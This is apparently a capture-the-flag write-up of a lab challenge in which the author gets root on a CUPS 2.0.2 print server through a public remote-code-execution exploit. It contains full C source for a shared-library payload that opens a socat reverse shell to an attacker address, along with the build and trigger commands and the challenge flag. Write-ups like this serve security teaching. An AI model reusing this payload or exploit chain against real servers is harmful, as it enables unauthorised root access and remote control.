Spell iCUPS [pentest]

Spell iCUPS

I turned on a small CUPS server we found in the back for saving PDFs that we make locally. Didn't have SSH or anything, though, but thankfully it had socat.

We're provided an openvpn config.

Recon

Nmap scan:

Nmap scan report for 172.30.0.2
Host is up (0.18s latency).
Not shown: 999 closed ports
PORT    STATE SERVICE VERSION
631/tcp open  ipp     CUPS 2.0

Sending jobs to printer

<kmhn> anyways here's some relevant stuff
<kmhn> copied poc from here
<kmhn> https://github.com/farisv/PIL-RCE-Ghostscript-CVE-2018-16509
<kmhn> modified to use socat instead of touch
<kmhn> ipptool needs a command file
<kmhn> used this one https://stackoverflow.com/a/28202057
<kmhn> then ipptool -f <file> ipp://172.30.0.2:631/printers/pdf <commandfile>
<kmhn> that works for "legit" files

CUPS vulnerability

Noticed the "SOFTWARE/VERSION" environment variable in the error log saying "CUPS/2.0.2". There's a known RCE (with exploit code) for CUPS < 2.0.3: https://www.exploit-db.com/exploits/41233

Setting the "Remote Administration" flag off on the machine and applying that kicks us off the administration interface. After running the exploit with only the "stomp ACL" option, we're back in!

What's left is to build a shared library that we can use the exploit to push and LD_PRELOAD.

Code (shelly.c)

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>


void __attribute__ ((constructor)) initLibrary(void) {
    int fd = open("/tmp/sp0tl3ss", O_CREAT | O_WRONLY | O_EXCL, S_IRUSR | S_IWUSR);
    if (fd < 0) {
        // File exists or whatever other errors
    } else {
        write(fd, "Locky", 5);
        close(fd);
        system("socat tcp-connect:172.30.0.14:2025 exec:sh,pty,stderr,sigint,setsid,sane");
    }
    //exit(0);
}

Build with gcc -fPIC -shared -o libshelly.so shelly.c -ldl

For testing, use some binary and LD_PRELOAD the shared lib LD_PRELOAD=./libshelly.so ./test_bin

Change the file /tmp/sp0tl3ss to something else and rebuild if you need to retrigger the payload.

Trigger the sploit python 41233.py -a 172.30.0.2 -b 631 -c libshelly.so

And we're in!

# whoami
root
# find -name '*flag*'
./sys/devices/pnp0/00:04/tty/ttyS0/flags
./sys/devices/platform/serial8250/tty/ttyS2/flags
./sys/devices/platform/serial8250/tty/ttyS3/flags
./sys/devices/platform/serial8250/tty/ttyS1/flags
./sys/devices/virtual/net/lo/flags
./sys/devices/virtual/net/eth0/flags
./sys/module/scsi_mod/parameters/default_dev_flags
./proc/sys/kernel/acpi_video_flags
./proc/sys/kernel/sched_domain/cpu0/domain0/flags
./proc/sys/kernel/sched_domain/cpu0/domain1/flags
./proc/sys/kernel/sched_domain/cpu1/domain0/flags
./proc/sys/kernel/sched_domain/cpu1/domain1/flags
./proc/sys/kernel/sched_domain/cpu2/domain0/flags
./proc/sys/kernel/sched_domain/cpu2/domain1/flags
./proc/sys/kernel/sched_domain/cpu3/domain0/flags
./proc/sys/kernel/sched_domain/cpu3/domain1/flags
./proc/sys/kernel/sched_domain/cpu4/domain0/flags
./proc/sys/kernel/sched_domain/cpu4/domain1/flags
./proc/sys/kernel/sched_domain/cpu5/domain0/flags
./proc/sys/kernel/sched_domain/cpu5/domain1/flags
./proc/sys/kernel/sched_domain/cpu6/domain0/flags
./proc/sys/kernel/sched_domain/cpu6/domain1/flags
./proc/sys/kernel/sched_domain/cpu7/domain0/flags
./proc/sys/kernel/sched_domain/cpu7/domain1/flags
./proc/kpageflags
./root/flag.txt
./usr/lib/x86_64-linux-gnu/perl/5.28.1/bits/ss_flags.ph
./usr/lib/x86_64-linux-gnu/perl/5.28.1/bits/waitflags.ph
# cat /root/flag.txt    
gigem{h4ha_y0u_s41D_1t_hah4}

Flag

gigem{h4ha_y0u_s41D_1t_hah4}